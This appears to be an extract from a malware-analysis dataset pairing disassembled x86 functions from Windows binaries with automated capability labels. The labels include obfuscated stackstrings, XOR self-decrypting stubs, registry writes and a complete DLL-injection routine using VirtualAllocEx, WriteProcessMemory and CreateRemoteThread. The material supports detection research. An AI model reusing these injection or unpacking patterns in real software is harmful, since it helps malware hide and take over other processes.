joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007c3c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
movsd dword es:[edi], dword [esi]
xor eax, 0x41a645c6
call fcn.100077cd
push eax
push esi
push dword [ebp + 8]
call fcn.10007782
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
inc ebp
fistp word [ecx - 0x3a]
inc ebp
loopne 0x10007c58
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.100077cd
push eax
push esi
push dword [ebp + 8]
call fcn.10007782
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.100077bd
adc edx, dword [edi]
pop ss
js 0x10007c07
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.100077bd
jb 0x10007caa
cmp dword [ebp - 0x837a73], esp
invalid
call dword [eax - 0x18]
sbb al, 0xfb
invalid

Function at 0x1000801d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.100077cd
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10007782
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
invalid

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4018cb
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push esi
mov esi, ecx
push dword [esi + 4]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40192b
mov eax, dword [esi + 0x6c]
push edi
inc eax
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [esi + 0x6c]
mov esi, dword [esi + 0x68]
test esi, esi
jne 0x401902
mov esi, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
inc ecx
push ecx
push esi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
push 1
pop eax
pop esi
ret 0xc
Function at 0x404020
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push esi
mov esi, ecx
push dword [esi + 4]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x404080
mov eax, dword [esi + 0x70]
push edi
inc eax
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [esi + 0x70]
mov esi, dword [esi + 0x6c]
test esi, esi
jne 0x404057
mov esi, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
inc ecx
push ecx
push esi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
push 1
pop eax
pop esi
ret 0xc
Function at 0x4087f0
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
mov eax, dword [eax + 4]
test eax, eax
jne 0x408800
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
push esi
push 0x44f1d8
push eax
call dword [sym.imp.MSVCRT.dll__wfopen]
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x408854
mov eax, dword [esp + 0xc]
mov eax, dword [eax + 4]
test eax, eax
jne 0x408825
mov eax, 0x43c6e4
mov ecx, dword [esp + 0x10]
push esi
push 1
add eax, ecx
push dword [esp + 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
cmp eax, 1
push esi
je 0x40884d
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
xor eax, eax
jmp 0x408857
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
push 1
pop eax
pop esi
ret 0x10
Function at 0x40c718
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x436d40
call fcn.00420080
sub esp, 0x14
mov al, byte [ebp - 0xd]
push ebx
push esi
mov esi, ecx
push 0
lea ecx, [ebp - 0x20]
mov bl, 1
mov byte [ebp - 0x20], al
call fcn.00406670
and dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x3fc
mov ecx, esi
call fcn.0040c4e0
mov ecx, esi
call fcn.0040bfca
mov esi, eax
test esi, esi
je 0x40c7a6
mov edx, dword [ebp - 0x1c]
mov eax, 0x43c6e4
test edx, edx
mov ecx, eax
je 0x40c76c
mov ecx, edx
mov ecx, dword [ecx]
cmp ecx, dword [0x43c943]
jne 0x40c79c
test edx, edx
je 0x40c77c
mov eax, edx
mov ecx, dword [ebp - 0x18]
push esi
add ecx, 0xfffffffc
push 1
add eax, 4
push ecx
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
mov ebx, eax
add esp, 0x10
dec ebx
neg ebx
sbb bl, bl
inc bl
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
jmp 0x40c7a8
xor bl, bl
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x20]
call fcn.00406670
mov ecx, dword [ebp - 0xc]
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x40c7c6
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x436d54
call fcn.00420080
sub esp, 0x14
mov al, byte [ebp - 0xd]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
lea ecx, [ebp - 0x20]
push ebx
mov byte [ebp - 0x20], al
call fcn.00406670
lea eax, [ebp - 0x20]
mov ecx, esi
push eax
push 0x401
mov dword [ebp - 4], ebx
call fcn.0040c4e0
mov ecx, esi
call fcn.0040c3dd
mov esi, eax
cmp esi, ebx
je 0x40c834
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
jne 0x40c814
mov eax, 0x43c6e4
push esi
push 1
push dword [ebp - 0x18]
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
mov ebx, eax
push esi
dec ebx
neg ebx
sbb bl, bl
inc bl
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x20]
call fcn.00406670
mov ecx, dword [ebp - 0xc]
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x416fa7
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00420440
push ebx
push esi
push edi
call fcn.00416dfa
mov edx, 0x1ff
mov ebx, eax
xor esi, esi
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x100a]
mov word [ebp - 0x100c], si
mov word [ebp - 0x80c], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x80a]
mov dword [ebp - 4], esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, 0x400
lea ecx, [ebp - 0x80c]
push eax
push ecx
lea ecx, [ebp - 0xc]
mov dword [ebp - 8], esi
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 4]
push ecx
push eax
lea eax, [ebp - 0x100c]
mov dword [ebp - 0xc], esi
push eax
push 0x44f6d0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push dword [ebp + 8]
push ebx
push dword [ebp - 4]
call fcn.00416efd
add esp, 0xc
mov al, 1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41703a
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00420440
push ebx
push esi
push edi
call fcn.00416dfa
mov edx, 0x1ff
mov ebx, eax
xor esi, esi
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x100a]
mov word [ebp - 0x100c], si
mov word [ebp - 0x80c], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x80a]
mov dword [ebp - 4], esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, 0x400
lea ecx, [ebp - 0x80c]
push eax
push ecx
lea ecx, [ebp - 0xc]
mov dword [ebp - 8], esi
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 4]
push ecx
push eax
lea eax, [ebp - 0x100c]
mov dword [ebp - 0xc], esi
push eax
push 0x44f6d0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push dword [ebp + 8]
push ebx
push dword [ebp - 4]
call fcn.00416f6d
add esp, 0xc
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4171f3
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
mov eax, 0x4377a0
call fcn.00420080
sub esp, 0x20
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x10], esp
push dword [ebp + 8]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
push esi
push 0x43a
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, esi
mov dword [ebp + 8], eax
jne 0x417238
lea eax, [ebp - 0x1c]
push 0x444200
push eax
mov dword [ebp - 0x1c], esi
call sub.MSVCRT.dll__CxxThrowException
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push 4
push 0x1000
lea edi, [eax + eax]
push edi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
cmp ebx, esi
mov dword [ebp - 0x14], ebx
jne 0x417271
lea eax, [ebp - 0x20]
push 0x444200
push eax
mov dword [ebp - 0x20], esi
call sub.MSVCRT.dll__CxxThrowException
push esi
push edi
push dword [ebp + 0xc]
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x417295
lea eax, [ebp - 0x24]
push 0x444200
push eax
mov dword [ebp - 0x24], esi
call sub.MSVCRT.dll__CxxThrowException
push str.LoadLibraryW
push 0x44f6dc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
jne 0x4172c1
lea eax, [ebp - 0x28]
push 0x444200
push eax
mov dword [ebp - 0x28], esi
call sub.MSVCRT.dll__CxxThrowException
push esi
push esi
push ebx
push eax
push esi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, esi
jne 0x417312
lea eax, [ebp - 0x2c]
push 0x444200
push eax
mov dword [ebp - 0x2c], esi
call sub.MSVCRT.dll__CxxThrowException
xor esi, esi
cmp dword [ebp - 0x14], esi
je 0x4172fe
push 0x8000
push esi
push dword [ebp - 0x14]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [ebp + 8], esi
je 0x41730c
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x417322
ret
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x18], 1
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 8
Function at 0x417447
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
push 9
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x26]
push dword [ebp + 0x10]
mov word [ebp - 0x28], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x28]
push 0x44f728
push eax
call dword [sym.imp.MSVCRT.dll_swprintf]
add esp, 0xc
lea eax, [ebp - 0x28]
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
cmp esi, ebx
je 0x4174d4
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x4174d4
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
cmp edi, ebx
je 0x4174d4
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
cmp esi, ebx
je 0x4174d4
push dword [0x43c6e0]
mov ecx, dword [ebp + 0x14]
push ebx
call fcn.0040763c
mov ecx, dword [ebp + 0x14]
push esi
push edi
call fcn.0040798d
push 1
pop ebx
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x41f79e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.00420440
push esi
mov edx, 0x1ff
push edi
xor esi, esi
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x100e]
mov word [ebp - 0x1010], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x80e]
mov word [ebp - 0x810], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, 0x800
lea eax, [ebp - 0x1010]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x810]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
lea edi, [ebp - 0xe]
mov word [ebp - 0x10], si
push 0xe
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push esi
push eax
call sub.MSVCRT.dll_memset
push esi
push esi
lea eax, [ebp - 0x10]
push esi
push eax
lea eax, [ebp - 0x810]
push eax
call dword [sym.imp.MSVCRT.dll__wsplitpath]
lea eax, [ebp - 0x10]
push 0x44e1a0
push eax
call dword [sym.imp.MSVCRT.dll_wcscat]
lea eax, [ebp - 0x1010]
push esi
push eax
call fcn.00417bbf
add esp, 0x30
test al, al
jne 0x41f875
lea eax, [ebp - 0x810]
push esi
push eax
call fcn.00417bbf
pop ecx
test al, al
pop ecx
jne 0x41f875
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.00417bbf
pop ecx
test al, al
pop ecx
jne 0x41f875
inc al
jmp 0x41f877
xor al, al
pop edi
pop esi
leave
ret
Function at 0x4215b1
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x438dc5
call fcn.00420080
sub esp, 0x24
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push esi
cmp eax, ebx
push edi
mov esi, ecx
je 0x4215d1
cmp word [eax], bx
jne 0x4215dd
mov eax, dword [esi + 0x18]
cmp eax, ebx
jne 0x4215dd
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
push 0x44f1d8
push eax
call dword [sym.imp.MSVCRT.dll__wfopen]
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp + 8], eax
jne 0x421607
lea eax, [ebp + 8]
push 0x444200
push eax
mov dword [ebp + 8], 3
call sub.MSVCRT.dll__CxxThrowException
mov al, byte [ebp + 0xb]
mov edi, dword [esi + 0x38]
push ebx
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x30], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov dword [ebp - 4], ebx
cmp edi, dword [esi + 0x3c]
je 0x42163f
mov ecx, dword [edi]
cmp dword [esi + 0x2c], ebx
mov eax, dword [ecx]
jne 0x421633
push dword [ebp + 8]
call dword [eax + 0x18]
jmp 0x42163a
lea edx, [ebp - 0x30]
push edx
call dword [eax + 0x14]
add edi, 4
jmp 0x42161d
cmp dword [esi + 0x2c], ebx
je 0x4216a3
mov al, byte [ebp + 0xb]
push ebx
lea ecx, [ebp - 0x20]
mov byte [ebp - 0x20], al
call fcn.00406670
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x30]
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov ecx, esi
call fcn.004218eb
cmp eax, ebx
je 0x421696
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
jne 0x421684
mov eax, 0x43c6e4
push dword [ebp + 8]
push 1
push dword [ebp - 0x18]
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
push 1
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], bl
call fcn.00406670
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_fclose]
or dword [ebp - 4], 0xffffffff
pop ecx
push 1
lea ecx, [ebp - 0x30]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 4
Function at 0x421a60
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push dword [ebp + 8]
call fcn.004173f8
cmp eax, 0x14
pop ecx
jb 0x421aad
push 0
push 0
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
lea ecx, [ebp - 0x14]
call fcn.00421ace
push dword [ebp + 8]
lea eax, [ebp - 0x14]
push 1
push 0x14
push eax
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
test eax, eax
je 0x421aad
cmp dword [ebp - 0x14], 0x58453144
je 0x421ab1
xor al, al
jmp 0x421aca
cmp dword [ebp + 0xc], 0
je 0x421ac8
lea eax, [ebp - 0x14]
push 0x14
push eax
push dword [ebp + 0xc]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov al, 1
leave
ret 8

Function at 0x422d9a
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x438f2c
call fcn.00420080
push ecx
push ecx
push ebx
push esi
mov esi, ecx
mov eax, dword [esi]
call dword [eax + 0x24]
test eax, eax
setne cl
mov byte [ebp - 0x14], cl
mov dword [ebp - 0x10], eax
push dword [ebp + 0x14]
mov edx, dword [esi]
and dword [ebp - 4], 0
mov ecx, esi
push dword [ebp + 0x10]
push eax
call dword [edx + 0x28]
mov ecx, dword [ebp - 0x10]
push dword [ebp + 0xc]
mov eax, dword [ecx]
push dword [ebp + 8]
call dword [eax + 0xc]
mov eax, dword [esi]
push dword [ebp - 0x10]
mov ecx, esi
call dword [eax + 0x30]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
mov bl, al
call fcn.00422f89
mov ecx, dword [ebp - 0xc]
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x10

Function at 0x430acc
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
mov edx, eax
push esi
mov esi, dword [esp + 0x10]
or edx, ecx
or edx, esi
test dl, 3
jne 0x430af8
shr esi, 2
je 0x430b07
sub ecx, eax
mov edx, dword [ecx + eax]
xor dword [eax], edx
add eax, 4
dec esi
jne 0x430aeb
pop esi
ret
test esi, esi
jbe 0x430b07
sub ecx, eax
mov dl, byte [eax + ecx]
xor byte [eax], dl
inc eax
dec esi
jne 0x430afe
pop esi
ret

Function at 0x431546
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x43aa12
call fcn.00420080
sub esp, 0x10
push esi
mov esi, ecx
push 0
mov dword [ebp - 0x1c], esi
call fcn.00422147
or dword [esi + 8], 0xffffffff
push dword [ebp + 8]
and dword [ebp - 4], 0
lea ecx, [esi + 0xc]
call fcn.00430b80
and dword [ebp - 0x14], 0
lea eax, [ebp + 0xb]
push eax
lea eax, [ebp - 0x14]
push eax
push 1
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 1
call fcn.004318b9
and dword [ebp - 0x18], 0
lea eax, [ebp - 0xd]
push eax
lea eax, [ebp - 0x18]
push eax
push 1
lea ecx, [esi + 0x60]
mov byte [ebp - 4], 2
call fcn.004318b9
mov ecx, dword [ebp - 0xc]
mov dword [esi], 0x441d28
mov dword [esi + 4], 0x441d20
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 4
Function at 0x435807
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x43b70c
call fcn.00420080
sub esp, 0x18
push ebx
push esi
push edi
mov esi, 0x801
mov dword [ebp - 0x10], esp
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
xor edi, edi
mov ebx, eax
push esi
push edi
push ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x18], edi
mov dword [ebp - 4], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], 0x800
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], edi
push eax
push 0x20019
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp dword [ebp - 0x14], edi
je 0x4358b2
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x1c]
push ebx
push eax
push edi
push dword [ebp + 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 1
pop esi
cmp dword [ebp - 0x1c], esi
jne 0x435898
push ebx
call sub.MSVCRT.dll_strlen
pop ecx
mov ecx, dword [ebp + 0x14]
push eax
push ebx
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
mov dword [ebp - 0x18], esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4358b2
cmp ebx, edi
je 0x4358bd
push ebx
call fcn.0041ffc8
pop ecx
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x4358cf
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0xc]
push esi
xor esi, esi
push edi
mov eax, dword [eax + 4]
mov dword [ebp - 4], esi
cmp eax, esi
mov dword [ebp - 8], esi
jne 0x4358ed
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 4]
push ecx
push esi
push 0x20006
push esi
push 0x451750
push esi
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp + 0x14]
mov edx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
mov ecx, dword [eax + 8]
mov eax, dword [eax + 4]
cmp eax, esi
jne 0x435921
mov eax, edx
mov edi, dword [ebp + 0x10]
mov edi, dword [edi + 4]
cmp edi, esi
je 0x43592d
mov edx, edi
push ecx
push eax
push 1
push esi
push edx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 1
pop eax
pop edi
pop esi
leave
ret
Function at 0xe5adc0
Capabilities:
Encode data using xor

Disassembly:
jmp 0xe5adca
pushal
call 0xe5add0
pop ebp
sub ebp, 0x10
sub ebp, 0xa5adc0
jmp 0xe5ade6
mov eax, 0xa5adc0
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b5
mov edx, 0xca51ce0b
xor byte [eax], dl
inc eax
dec ecx
jne 0xe5adfd
jmp 0xe5ae10
add dh, 0x80
xor byte [edi], 0xb
or ecx, dword [ebx]
mov cl, dl
or ecx, dword [ebx]
or ecx, dword [eax]
invalid

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx